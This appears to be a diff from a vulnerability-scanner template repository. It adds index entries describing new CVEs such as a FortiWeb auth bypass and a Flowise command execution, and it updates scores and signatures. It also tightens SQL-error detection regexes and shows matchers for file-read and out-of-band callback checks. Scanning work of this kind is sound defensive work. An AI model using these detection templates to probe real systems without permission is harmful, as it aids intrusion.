 {"ID":"CVE-2025-6058","Info":{"Name":"WPBookit \u003c= 1.0.4 - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"The WPBookit plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the image_upload_handle() function hooked via the 'add_booking_type' route in all versions up to, and including, 1.0.4.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-6058.yaml"}
 {"ID":"CVE-2025-61666","Info":{"Name":"Traccar(Windows) 6.1- 6.8.1 - Local File Inclusion","Severity":"high","Description":"Traccar 5.8-6.0 (non-default installs with web.override set) and 6.1-6.8.1 (default installs) contain a local file inclusion vulnerability caused by enabled web override configuration, letting unauthenticated attackers leak arbitrary files including passwords, exploit requires local access.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-61666.yaml"}
 {"ID":"CVE-2025-6174","Info":{"Name":"WordPress Qwizcards \u003c 3.95 - Cross-Site Scripting (Reflected)","Severity":"medium","Description":"The WordPress Qwizcards plugin before version 3.95 does not sanitise and escape the \"theme_stylesheet\" parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting vulnerability.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-6174.yaml"}
+{"ID":"CVE-2025-61757","Info":{"Name":"Oracle Identity Manager REST WebServices - Authentication Bypass","Severity":"critical","Description":"Vulnerability in the Identity Manager product of Oracle Fusion Middleware (component: REST WebServices). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Identity Manager. Successful attacks of this vulnerability can result in takeover of Identity Manager.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-61757.yaml"}
 {"ID":"CVE-2025-61882","Info":{"Name":"Oracle E-Business Suite 12.2.3–12.2.14 – Remote Code Execution","Severity":"critical","Description":"Oracle Concurrent Processing 12.2.3-12.2.14 contains a remote code execution caused by unauthenticated network access via HTTP, letting unauthenticated attackers fully compromise the system, exploit requires network access via HTTP.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-61882.yaml"}
 {"ID":"CVE-2025-61884","Info":{"Name":"Oracle E-Business Suite - Server-Side Request Forgery","Severity":"high","Description":"Vulnerability in the Oracle Configurator product of Oracle E-Business Suite (component: Runtime UI). Supported versions that are affected are 12.2.3-12.2.14. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Configurator.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-61884.yaml"}
 {"ID":"CVE-2025-6197","Info":{"Name":"Open Redirect via Organization Switching","Severity":"medium","Description":"An open redirect vulnerability has been identified in Grafana OSS organization switching functionality. Prerequisites for exploitation Multiple organizations must exist in the Grafana instance - Victim must be on a different organization than the one specified in the URL\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-6197.yaml"}
@@ -3446,13 +3512,18 @@
 {"ID":"CVE-2025-6205","Info":{"Name":"DELMIA Apriso - Broken Access Control","Severity":"high","Description":"DELMIA Apriso Release 2020 through Release 2025 contains a broken access control vulnerability caused by missing authorization, letting attackers gain privileged access to the application, exploit requires no special conditions.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-6205.yaml"}
 {"ID":"CVE-2025-6403","Info":{"Name":"Code-Projects School Fees Payment System 1.0 - SQL Injection","Severity":"critical","Description":"A vulnerability was found in code-projects School Fees Payment System 1.0. It has been rated as critical. This issue affects some unknown processing of the file /student.php. The manipulation of the argument ID leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6403.yaml"}
 {"ID":"CVE-2025-64095","Info":{"Name":"DNN - Unrestricted Arbitrary File Upload","Severity":"critical","Description":"DNN (formerly DotNetNuke) \\u003C 10.1.1 contains an unrestricted file upload vulnerability caused by the default HTML editor provider allowing unauthenticated file uploads and overwriting existing files, letting unauthenticated attackers deface websites and inject XSS payloads, exploit requires no authentication.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-64095.yaml"}
+{"ID":"CVE-2025-64446","Info":{"Name":"FortiWeb - Authentication Bypass","Severity":"critical","Description":"A relative path traversal vulnerability in Fortinet FortiWeb 8.0.0 through 8.0.1, FortiWeb 7.6.0 through 7.6.4, FortiWeb 7.4.0 through 7.4.9, FortiWeb 7.2.0 through 7.2.11, FortiWeb 7.0.0 through 7.0.11 may allow an attacker to execute administrative commands on the system via crafted HTTP or HTTPS requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-64446.yaml"}
+{"ID":"CVE-2025-64525","Info":{"Name":"Astro - Broken Access Control","Severity":"medium","Description":"Astro 2.16.0 to 5.15.5 contains a broken access control caused by insecure use of unsanitized x-forwarded-proto and x-forwarded-port headers in URL building, letting attackers bypass middleware protection, cause DoS, SSRF, and URL pollution, exploit requires crafted headers.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-64525.yaml"}
+{"ID":"CVE-2025-64764","Info":{"Name":"Astro - Reflected XSS via server islands feature","Severity":"high","Description":"Astro 5.15.8 contains a reflected XSS caused by improper handling of server islands feature, letting remote attackers execute scripts, exploit requires use of server islands in the application.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-64764.yaml"}
 {"ID":"CVE-2025-6851","Info":{"Name":"WordPress Broken Link Notifier \u003c 1.3.1 - Unauthenticated SSRF","Severity":"high","Description":"The Broken Link Notifier plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.3.0 via the ajax_blinks() function which ultimately calls the check_url_status_code() function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-6851.yaml"}
 {"ID":"CVE-2025-6934","Info":{"Name":"The Opal Estate Pro – Property Management \u003c= 1.7.5 - Unauthenticated Privilege Escalation","Severity":"critical","Description":"The Opal Estate Pro plugin (≤ 1.7.5) is vulnerable to privilege escalation. Due to missing role restrictions in the on_register_user function, users can register with any role. This allows unauthenticated attackers to create administrator accounts.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6934.yaml"}
 {"ID":"CVE-2025-6970","Info":{"Name":"WordPress Events Manager \u003c= 7.0.3 - SQL Injection","Severity":"critical","Description":"The Events Manager - Calendar, Bookings, Tickets, and more! plugin for WordPress is vulnerable to time-based SQL Injection via the 'orderby' parameter in all versions up to, and including, 7.0.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6970.yaml"}
 {"ID":"CVE-2025-7160","Info":{"Name":"Zoo Management System 1.0 - SQL Injection","Severity":"critical","Description":"Zoo Management System 1.0 contains a SQL injection vulnerability via the username parameter on the login page. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-7160.yaml"}
 {"ID":"CVE-2025-8085","Info":{"Name":"Ditty \u003c 3.1.58 - Server-Side Request Forgery","Severity":"high","Description":"The plugin lacks authorization and authentication for requests to its displayItems endpoint, allowing unauthenticated visitors to make requests to arbitrary URLs. v3.1.57 attempted to fix the issue with a nonce check, however any authenticated users, such as subscriber can retrieve it.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-8085.yaml"}
 {"ID":"CVE-2025-8868","Info":{"Name":"Chef Automate \u003c 4.13.295 — SQL Injection","Severity":"critical","Description":"In Progress Chef Automate, versions earlier than 4.13.295, on Linux x86 platform, an authenticated attacker can gain access to Chef Automate restricted functionality in the compliance service via improperly neutralized inputs used in an SQL command using a well-known token.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-8868.yaml"}
+{"ID":"CVE-2025-8943","Info":{"Name":"Flowise \u003c 3.0.1 - Remote Command Execution","Severity":"critical","Description":"The Custom MCPs feature is designed to execute OS commands, for instance, using tools like `npx` to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, in Flowise versions before 3.0.1 the default installation operates without authentication unless explicitly configured. This combination allows unauthenticated network attackers to execute unsandboxed OS commands.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-8943.yaml"}
 {"ID":"CVE-2025-9196","Info":{"Name":"Trinity Audio \u003c= 5.21.0 - Information Exposure","Severity":"medium","Description":"The Trinity Audio Text to Speech AI audio player to convert content into audio plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 5.21.0 via the ~/admin/inc/phpinfo.php file that gets created on install. This makes it possible for unauthenticated attackers to extract sensitive data including configuration data.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-9196.yaml"}
+{"ID":"CVE-2025-9316","Info":{"Name":"N-central - Authentication Bypass","Severity":"medium","Description":"N-central \u003c 2025.4 can generate sessionIDs for unauthenticated users This issue affects N-central: before 2025.4.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-9316.yaml"}
 {"ID":"CVE-2025-9744","Info":{"Name":"Loan Management System 1.0 - SQL Injection","Severity":"critical","Description":"Loan Management System 1.0 contains a SQL injection vulnerability via the username parameter. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-9744.yaml"}
 {"ID":"CVE-2025-9985","Info":{"Name":"Featured Image from URL (FIFU) \u003c= 5.2.7 - Unauthenticated Information Exposure via Log File","Severity":"medium","Description":"The Featured Image from URL (FIFU) plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 5.2.7 through publicly exposed log files. This makes it possible for unauthenticated attackers to view potentially sensitive information contained in the exposed log files.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-9985.yaml"}
 {"ID":"CVE-2001-1473","Info":{"Name":"Deprecated SSHv1 Protocol Detection","Severity":"high","Description":"SSHv1 is deprecated and has known cryptographic issues.","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2001/CVE-2001-1473.yaml"}
@@ -3521,6 +3592,7 @@
 {"ID":"CVE-2020-2883","Info":{"Name":"Oracle WebLogic Server - Remote Code Execution","Severity":"critical","Description":"Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0 and 12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via IIOP, T3 to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.0 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n","Classification":{"CVSSScore":"9.8"}},"file_path":"javascript/cves/2020/CVE-2020-2883.yaml"}
 {"ID":"CVE-2020-4429","Info":{"Name":"IBM Data Risk Manager - Hardcoded Credentials","Severity":"critical","Description":"IBM Data Risk Manager 2.0.1, 2.0.2, 2.0.3, 2.0.4, 2.0.5, and 2.0.6 contains a default password for an IDRM administrative account. A remote attacker could exploit this vulnerability to login and execute arbitrary code on the system with root privileges. IBM X-Force ID- 180534.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"javascript/cves/2020/CVE-2020-4429.yaml"}
 {"ID":"CVE-2020-7247","Info":{"Name":"OpenSMTPD 6.4.0-6.6.1 - Remote Code Execution","Severity":"critical","Description":"OpenSMTPD versions 6.4.0 - 6.6.1 are susceptible to remote code execution. smtp_mailaddr in smtp_session.c in OpenSMTPD 6.6, as used in OpenBSD 6.6 and other products, allows remote attackers to execute arbitrary commands as root via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL FROM field. This affects the \"uncommented\" default configuration. The issue exists because of an incorrect return value upon failure of input validation.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"javascript/cves/2020/CVE-2020-7247.yaml"}
+{"ID":"CVE-2021-35211","Info":{"Name":"SolarWinds Serv-U FTP - Remote Code Execution","Severity":"critical","Description":"SolarWinds Serv-U Managed File Transfer and Serv-U Secure FTP for Windows before 15.2.3 HF2 contain a remote memory escape caused remote code execution vulnerability, letting attackers gain privileged access, exploit requires remote attacker to send crafted memory operations.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2021/CVE-2021-35211.yaml"}
 {"ID":"CVE-2021-35394","Info":{"Name":"RealTek AP Router SDK - Arbitrary Command Injection","Severity":"critical","Description":"The SDK exposes a UDP server that allows remote execution of arbitray commands.","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2021/CVE-2021-35394.yaml"}
 {"ID":"CVE-2023-21839","Info":{"Name":"Oracle WebLogic Server - Unauthorized Access","Severity":"high","Description":"Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebLogic Server accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n","Classification":{"CVSSScore":"7.5"}},"file_path":"javascript/cves/2023/CVE-2023-21839.yaml"}
 {"ID":"CVE-2023-34039","Info":{"Name":"VMWare Aria Operations - Remote Code Execution","Severity":"critical","Description":"VMWare Aria Operations for Networks (vRealize Network Insight) Static SSH key RCE (CVE-2023-34039)\nVersion: All versions from 6.0 to 6.10\n","Classification":{"CVSSScore":"9.8"}},"file_path":"javascript/cves/2023/CVE-2023-34039.yaml"}
@@ -3530,6 +3602,7 @@
 {"ID":"CVE-2024-23897","Info":{"Name":"Jenkins \u003c 2.441 - Arbitrary File Read","Severity":"high","Description":"Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an '@' character followed by a file path in an argument with the file's contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"javascript/cves/2024/CVE-2024-23897.yaml"}
 {"ID":"CVE-2024-45519","Info":{"Name":"Zimbra Collaboration Suite \u003c 9.0.0 - Remote Code Execution","Severity":"critical","Description":"SMTP-based vulnerability in the PostJournal service of Zimbra Collaboration Suite that allows unauthenticated attackers to inject arbitrary commands. This vulnerability arises due to improper sanitization of SMTP input, enabling attackers to craft malicious SMTP messages that execute commands under the Zimbra user context. Successful exploitation can lead to unauthorized access, privilege escalation, and potential compromise of the affected system's integrity and confidentiality.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2024/CVE-2024-45519.yaml"}
 {"ID":"CVE-2024-47176","Info":{"Name":"CUPS - Remote Code Execution","Severity":"high","Description":"CUPS is a standards-based, open-source printing system, and cups-browsed contains network printing functionality including, but not limited to, auto-discovering print services and shared printers. cups-browsed binds to INADDR_ANY-631, causing it to trust any packet from any source, and can cause the Get-Printer-Attributes IPP request to an attacker controlled URL.\nDue to the service binding to *-631 ( INADDR_ANY ), multiple bugs in cups-browsed can be exploited in sequence to introduce a malicious printer to the system. This chain of exploits ultimately enables an attacker to execute arbitrary commands remotely on the target machine without authentication when a print job is started. This poses a significant security risk over the network. Notably, this vulnerability is particularly concerning as it can be exploited from the public internet, potentially exposing a vast number of systems to remote attacks if their CUPS services are enabled.\n","Classification":{"CVSSScore":"8.3"}},"file_path":"javascript/cves/2024/CVE-2024-47176.yaml"}
+{"ID":"CVE-2025-12101","Info":{"Name":"Citrix NetScaler ADC \u0026 Gateway - Reflected XSS / Open Redirect","Severity":"medium","Description":"Cross-Site Scripting (XSS) in NetScaler ADC and NetScaler Gateway when the appliance is configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2025/CVE-2025-12101.yaml"}
 {"ID":"CVE-2025-46817","Info":{"Name":"Redis \u003c 8.2.1 lua script - Integer Overflow","Severity":"critical","Description":"Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user to use a specially crafted Lua script to cause an integer overflow and potentially lead to remote code execution The problem exists in all versions of Redis with Lua scripting. This issue is fixed in version 8.2.2.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2025/CVE-2025-46817.yaml"}
 {"ID":"CVE-2025-46818","Info":{"Name":"Redis Lua Sandbox \u003c 8.2.2 - Cross-User Escape","Severity":"high","Description":"Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user to use a specially crafted Lua script to manipulate different LUA objects and potentially run their own code in the context of another user. The problem exists in all versions of Redis with LUA scripting. This issue is fixed in version 8.2.2. A workaround to mitigate the problem without patching the redis-server executable is to prevent users from executing LUA scripts. This can be done using ACL to block a script by restricting both the EVAL and FUNCTION command families.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2025/CVE-2025-46818.yaml"}
 {"ID":"CVE-2025-46819","Info":{"Name":"Redis  \u003c 8.2.1 Lua Long-String Delimiter - Out-of-Bounds Read","Severity":"high","Description":"Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user to use a specially crafted LUA script to read out-of-bound data or crash the server and subsequent denial of service. The problem exists in all versions of Redis with Lua scripting. This issue is fixed in version 8.2.2. To workaround this issue without patching the redis-server executable is to prevent users from executing Lua scripts. This can be done using ACL to block a script by restricting both the EVAL and FUNCTION command families.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2025/CVE-2025-46819.yaml"}
@@ -1 +1 @@
-04825279d81a90757969be8bbeccd5b4
+4b68b32f25ea36f0e78c35079620602f
@@ -49,4 +49,4 @@ http:
        part: interactsh_request
        words:
          - "User-Agent: curl"
-# digest: 4a0a00473045022003d7f90673973a982e5558470f07a7f4ad8f8cc685710dc21348cb4bc670b4d9022100b5549b5ebdfda9e3d3841380d1a9818136dc794c3e03b05c487cb841c88f78b5:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204449ca773be95dc1974afd31221c726200ed4115c60b9fdec64c53391027cba602200451d4d430ca28d2f925ef78d69f33c8c66513630b055a3f4d48dafa45820eb5:922c64590222798bb761d5b6d8e72950
@@ -17,7 +17,7 @@ info:
    cve-id: CVE-2021-45046
    cwe-id: CWE-502
    epss-score: 0.9434
-    epss-percentile: 0.99949
+    epss-percentile: 0.99952
  metadata:
    max-request: 1
    confidence: tenative
@@ -62,4 +62,4 @@ http:
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 4b0a004830460221009196c1d6ef2d3d8e4b25ff18bfa83c04a308b9765b740c9162c14bbc6731d5dd022100d96615e2b640d1a1570bb2c83be10885b97f859a08cdf30f244d62072624fd42:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f7f1ec7cf0a3389bd3a5143969a73733aadd9ba956f43aa486356e61eeb7a5c4022100a729e3ab452074a450b9cfe5a1a8043e328395fac433edcf1a539ac5f775d10a:922c64590222798bb761d5b6d8e72950
@@ -18,7 +18,7 @@ info:
    cve-id: CVE-2022-22965
    cwe-id: CWE-94
    epss-score: 0.94441
-    epss-percentile: 0.99989
+    epss-percentile: 0.9999
    cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -55,4 +55,4 @@ http:
        words:
          - "User-Agent: Java"
        case-insensitive: true
-# digest: 4a0a00473045022100cbb1a7ae18dc796cbd8d01a2416573459737a0f5c5bef589a865dba4e022096602206ff2e01b0d20ab6cefb4ab847190e4ea41429ad947a64493881626897d7b9006:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200ebe5d8b1ce36ed546c25e6bedc47fe3aec47fe25b0e1aa8d9c7591a275c7bff022100d53c1c1c356d1bccb26951caf6e7c825951bbad2d86d30444e8e8c099e1be0c9:922c64590222798bb761d5b6d8e72950
@@ -17,7 +17,7 @@ info:
    cve-id: CVE-2022-34265
    cwe-id: CWE-89
    epss-score: 0.92734
-    epss-percentile: 0.99742
+    epss-percentile: 0.99748
  tags: sqli,dast,vulhub,cve,cve2022,django,vuln

 variables:
@@ -46,4 +46,4 @@ http:
      - type: status
        status:
          - 500
-# digest: 490a004630440220313f97ef1ed9ca9259404dcc6b2a3d20024e5d93c5e240fc3691a60445b3521b02202dc02c16af44d82d9a1c893c9c85690e677e801a7bd2759dad7b66a31591b236:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100fe1443ec0e2ee97666d65bd0c1516b48459a69b5dc947f603162c1081086a477022100bfce8ee6d572976dadb1254c158a66fc49329eb5fc993a50402f595f8d463aa4:922c64590222798bb761d5b6d8e72950
@@ -19,7 +19,7 @@ info:
    cve-id: CVE-2022-42889
    cwe-id: CWE-94
    epss-score: 0.94161
-    epss-percentile: 0.99907
+    epss-percentile: 0.99911
  metadata:
    max-request: 1
    confidence: tenative
@@ -68,4 +68,4 @@ http:
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 4a0a00473045022007239687d8e5b0b562ae071607fcc17bf9e0a75003422cc11d019e4c973a71ed022100e39d76c5c714ec810722b624baa6687e4178262aba54c4973139c572bed95be5:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100be69b132685d267a8aba20a9222f47463260b4e763f6ec61dcaff62ae327339b022077a0c4089481fdc33ac5621bd0d49521472b45a6581874b7681baed93bc9a79c:922c64590222798bb761d5b6d8e72950
@@ -18,8 +18,8 @@ info:
    cvss-score: 7.3
    cve-id: CVE-2024-2961
    cwe-id: CWE-787
-    epss-score: 0.9261
-    epss-percentile: 0.9973
+    epss-score: 0.92669
+    epss-percentile: 0.99738
  tags: cve,cve2024,php,iconv,glibc,lfr,rce,dast,vkev,vuln

 flow: http(1) && http(2)
@@ -57,4 +57,4 @@ http:
      - type: regex
        regex:
          - "root:x:0:0"
-# digest: 4b0a00483046022100aa92d96d35809e43ff9944ae82a2d175820a83937e0f8e01f7e7f4bcf976deb9022100db0273ebd16109f8dcc5b9bc3f0cba9388e844a71558447228205f8f635d7b06:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502205e11214f88bed7b5c5b75742b3fa237a631f55c1739fb294f7591052c43a58b5022100a4fc27622650f061d1e114c0ade338b70a63d15f344041dc1ca3cc79a2e00bfb:922c64590222798bb761d5b6d8e72950
@@ -44,8 +44,8 @@ http:
      - type: regex
        regex:
          # MySQL
-          - "SQL syntax.*?MySQL"
-          - "Warning.*?\\Wmysqli?_"
+          - "SQL syntax.{0,500}?MySQL"
+          - "Warning.{0,500}?\\Wmysqli?_"
          - "MySQLSyntaxErrorException"
          - "valid MySQL result"
          - "check the manual that (corresponds to|fits) your MySQL server version"
@@ -65,8 +65,8 @@ http:
          - "is not supported by MemSQL"
          - "unsupported nested scalar subselect"
          # PostgreSQL
-          - "PostgreSQL.*?ERROR"
-          - "Warning.*?\\Wpg_"
+          - "PostgreSQL.{0,500}?ERROR"
+          - "Warning.{0,500}?\\Wpg_"
          - "valid PostgreSQL result"
          - "Npgsql\\."
          - "PG::SyntaxError:"
@@ -78,13 +78,13 @@ http:
          - "Pdo[./_\\\\]Pgsql"
          - "PSQLException"
          # Microsoft SQL Server
-          - "Driver.*? SQL[\\-\\_\\ ]*Server"
-          - "OLE DB.*? SQL Server"
+          - "Driver.{0,500}? SQL[\\-\\_\\ ]*Server"
+          - "OLE DB.{0,500}? SQL Server"
          - "\\bSQL Server[^&lt;&quot;]+Driver"
-          - "Warning.*?\\W(mssql|sqlsrv)_"
+          - "Warning.{0,500}?\\W(mssql|sqlsrv)_"
          - "\\bSQL Server[^&lt;&quot;]+[0-9a-fA-F]{8}"
          - "System\\.Data\\.SqlClient\\.SqlException\\.(SqlException|SqlConnection\\.OnError)"
-          - "(?s)Exception.*?\\bRoadhouse\\.Cms\\."
+          - "(?s)Exception.{0,500}?\\bRoadhouse\\.Cms\\."
          - "Microsoft SQL Native Client error '[0-9a-fA-F]{8}"
          - "\\[SQL Server\\]"
          - "ODBC SQL Server Driver"
@@ -106,8 +106,8 @@ http:
          # Oracle
          - "\\bORA-\\d{5}"
          - "Oracle error"
-          - "Oracle.*?Driver"
-          - "Warning.*?\\W(oci|ora)_"
+          - "Oracle.{0,500}?Driver"
+          - "Warning.{0,500}?\\W(oci|ora)_"
          - "quoted string not properly terminated"
          - "SQL command not properly ended"
          - "macromedia\\.jdbc\\.oracle"
@@ -116,7 +116,7 @@ http:
          - "Pdo[./_\\\\](Oracle|OCI)"
          - "OracleException"
          # IBM DB2
-          - "CLI Driver.*?DB2"
+          - "CLI Driver.{0,500}?DB2"
          - "DB2 SQL error"
          - "\\bdb2_\\w+\\("
          - "SQLCODE[=:\\d, -]+SQLSTATE"
@@ -126,8 +126,8 @@ http:
          - "DB2Exception"
          - "ibm_db_dbi\\.ProgrammingError"
          # Informix
-          - "Warning.*?\\Wifx_"
-          - "Exception.*?Informix"
+          - "Warning.{0,500}?\\Wifx_"
+          - "Exception.{0,500}?Informix"
          - "Informix ODBC Driver"
          - "ODBC Informix driver"
          - "com\\.informix\\.jdbc"
@@ -136,14 +136,14 @@ http:
          - "IfxException"
          # Firebird
          - "Dynamic SQL Error"
-          - "Warning.*?\\Wibase_"
+          - "Warning.{0,500}?\\Wibase_"
          - "org\\.firebirdsql\\.jdbc"
          - "Pdo[./_\\\\]Firebird"
          # SQLite
          - "SQLite/JDBCDriver"
          - "SQLite\\.Exception"
          - "(Microsoft|System)\\.Data\\.SQLite\\.SQLiteException"
-          - "Warning.*?\\W(sqlite_|SQLite3::)"
+          - "Warning.{0,500}?\\W(sqlite_|SQLite3::)"
          - "SQLITE_ERROR"
          - "SQLite error \\d+:"
          - "sqlite3.OperationalError:"
@@ -152,23 +152,23 @@ http:
          - "Pdo[./_\\\\]Sqlite"
          - "SQLiteException"
          # SAP MaxDB
-          - "SQL error.*?POS([0-9]+)"
-          - "Warning.*?\\Wmaxdb_"
+          - "SQL error.{0,500}?POS([0-9]+)"
+          - "Warning.{0,500}?\\Wmaxdb_"
          - "DriverSapDB"
-          - "-3014.*?Invalid end of SQL statement"
+          - "-3014.{0,500}?Invalid end of SQL statement"
          - "com\\.sap\\.dbtech\\.jdbc"
-          - "\\[-3008\\].*?: Invalid keyword or missing delimiter"
+          - "\\[-3008\\].{0,500}?: Invalid keyword or missing delimiter"
          # Sybase
-          - "Warning.*?\\Wsybase_"
+          - "Warning.{0,500}?\\Wsybase_"
          - "Sybase message"
-          - "Sybase.*?Server message"
+          - "Sybase.{0,500}?Server message"
          - "SybSQLException"
          - "Sybase\\.Data\\.AseClient"
          - "com\\.sybase\\.jdbc"
          # Ingres
-          - "Warning.*?\\Wingres_"
+          - "Warning.{0,500}?\\Wingres_"
          - "Ingres SQLSTATE"
-          - "Ingres\\W.*?Driver"
+          - "Ingres\\W.{0,500}?Driver"
          - "com\\.ingres\\.gcf\\.jdbc"
          # FrontBase
          - "Exception (condition )?\\d+\\. Transaction rollback"
@@ -177,7 +177,7 @@ http:
          - "(Semantic|Syntax) error [1-4]\\d{2}\\."
          # HSQLDB
          - "Unexpected end of command in statement \\["
-          - "Unexpected token.*?in statement \\["
+          - "Unexpected token.{0,500}?in statement \\["
          - "org\\.hsqldb\\.jdbc"
          # H2
          - "org\\.h2\\.jdbc"
@@ -230,8 +230,8 @@ http:
      - type: regex
        name: mysql
        regex:
-          - "SQL syntax.*?MySQL"
-          - "Warning.*?\\Wmysqli?_"
+          - "SQL syntax.{0,500}?MySQL"
+          - "Warning.{0,500}?\\Wmysqli?_"
          - "MySQLSyntaxErrorException"
          - "valid MySQL result"
          - "check the manual that (corresponds to|fits) your MySQL server version"
@@ -263,8 +263,8 @@ http:
      - type: regex
        name: postgresql
        regex:
-          - "PostgreSQL.*?ERROR"
-          - "Warning.*?\\Wpg_"
+          - "PostgreSQL.{0,500}?ERROR"
+          - "Warning.{0,500}?\\Wpg_"
          - "valid PostgreSQL result"
          - "Npgsql\\."
          - "PG::SyntaxError:"
@@ -279,13 +279,13 @@ http:
      - type: regex
        name: microsoftsqlserver
        regex:
-          - "Driver.*? SQL[\\-\\_\\ ]*Server"
-          - "OLE DB.*? SQL Server"
+          - "Driver.{0,500}? SQL[\\-\\_\\ ]*Server"
+          - "OLE DB.{0,500}? SQL Server"
          - "\\bSQL Server[^&lt;&quot;]+Driver"
-          - "Warning.*?\\W(mssql|sqlsrv)_"
+          - "Warning.{0,500}?\\W(mssql|sqlsrv)_"
          - "\\bSQL Server[^&lt;&quot;]+[0-9a-fA-F]{8}"
          - "System\\.Data\\.SqlClient\\.SqlException\\.(SqlException|SqlConnection\\.OnError)"
-          - "(?s)Exception.*?\\bRoadhouse\\.Cms\\."
